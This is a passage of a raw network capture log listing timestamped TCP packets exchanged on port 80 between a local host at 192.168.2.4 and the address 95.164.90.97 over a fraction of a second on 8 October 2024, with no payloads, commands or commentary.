Oct 8, 2024 02:45:29.942712069 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.942715883 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.942727089 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.942740917 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.942802906 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.942802906 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.942804098 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.942889929 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.942904949 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.942919016 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.942936897 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.942954063 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.942960978 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.942989111 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.943022013 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.943037033 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.943051100 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.943064928 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.943078995 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.943094015 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.943094015 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.943120003 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.943120003 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.943159103 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.943205118 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.943227053 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.943242073 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.943255901 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.943270922 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.943280935 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.943280935 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.943284988 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.943310022 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.943310022 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.943331003 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.943487883 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.943502903 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.943516970 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.943542004 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.943542004 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.943577051 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.943619013 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.943633080 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.943655968 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.943664074 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.943670034 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.943686962 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.943694115 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.943694115 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.943712950 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.943725109 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.943726063 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.943730116 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.943746090 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.943749905 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.943761110 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.943766117 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.943777084 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.943805933 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.943805933 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.943830013 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.944160938 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.944175005 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.944189072 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.944202900 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.944216013 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.944216013 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.944219112 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.944236994 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.944264889 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.944264889 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.944397926 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.944411993 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.944434881 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.944444895 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.944451094 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.944467068 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.944473028 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.944473028 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.944494009 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.944511890 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.944684029 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.944705009 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.944719076 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.944731951 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.944732904 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.944755077 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.944757938 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.944757938 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.944771051 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.944785118 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.944787025 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.944802046 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.944807053 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.944808006 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.944817066 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.944833040 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.944842100 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.944843054 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.944849968 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.944863081 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.944889069 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.944889069 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.945241928 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.945256948 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.945271015 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.945285082 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.945297003 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.945298910 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.945297003 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.945314884 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.945319891 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.945347071 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.945348024 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.945379972 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.945492983 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.945507050 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.945523024 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.945537090 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.945538998 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.945552111 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.945566893 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.945566893 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.945600033 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.945600986 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.945776939 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.945792913 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.945808887 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.945822954 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.945830107 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.945830107 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.945837975 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.945852995 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.945863962 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.945863962 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.945868969 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.945883036 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.945884943 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.945905924 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.945914030 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.945914030 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.945935011 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.945951939 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.946166992 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.946182013 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.946197033 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.946211100 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.946221113 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.946221113 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.946224928 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.946239948 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.946242094 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.946269989 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.946269989 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.946290016 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.946300030 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.946317911 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.946331978 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.946346045 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.946346998 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.946362972 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.946374893 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.946374893 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.946377993 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.946393013 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.946402073 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.946402073 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.946408033 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.946423054 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.946424007 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.946440935 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.946453094 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.946454048 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.946455956 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.946471930 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.946484089 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.946484089 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.946486950 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.946504116 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.946522951 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.946528912 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.946556091 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.946576118 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.947277069 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.947293043 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.947305918 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.947320938 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.947331905 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.947331905 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.947334051 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.947349072 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.947361946 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.947376013 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.947397947 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.947412014 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.947417974 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.947417974 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.947417974 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.947417974 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.947426081 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.947442055 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.947453022 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.947453022 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.947455883 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.947470903 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.947478056 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.947484970 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.947499990 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.947514057 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.947515011 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.947531939 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.947541952 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.947541952 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.947545052 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.947568893 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.947588921 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.948081017 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.948096991 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.948112011 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.948127031 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.948133945 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.948133945 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.948142052 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.948156118 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.948158979 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.948196888 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.948196888 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.948196888 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.033364058 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.033402920 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.033417940 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.033433914 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.033512115 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.033512115 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.033545017 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.033560991 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.033576012 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.033591032 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.033617020 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.033617020 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.033617020 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.033643961 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.033973932 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.033989906 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.034006119 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.034018993 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.034030914 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.034030914 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.034034967 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.034066916 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.034066916 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.034142017 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.034156084 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.034171104 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.034182072 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.034182072 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.034184933 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.034200907 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.034204006 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.034215927 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.034226894 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.034226894 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.034231901 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.034259081 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.034260035 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.034281015 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.034485102 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.034502029 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.034517050 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.034531116 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.034540892 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.034540892 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.034545898 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.034560919 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.034563065 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.034574986 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.034590006 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.034590006 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.034590006 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.034605980 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.034610987 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.034620047 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.034631014 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.034636974 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.034648895 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.034704924 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.034950972 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.034965992 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.034981012 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.034995079 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.034996986 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.035027981 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.035051107 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.035243034 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.035264969 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.035279989 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.035294056 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.035295010 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.035309076 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.035319090 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.035319090 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.035325050 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.035340071 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.035351992 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.035351992 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.035355091 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.035371065 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.035372019 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.035393000 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.035392046 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.035410881 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.035427094 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.035444021 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.035444975 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.035444975 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.035444975 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.035459995 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.035473108 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.035473108 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.035501957 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.035501957 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.035948992 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.035964966 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.035979033 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.035991907 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.036006927 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.036020994 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.036031961 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.036031961 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.036031961 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.036035061 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.036031961 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.036050081 CEST	80	51293	95.164.90.97	192.168.2.4
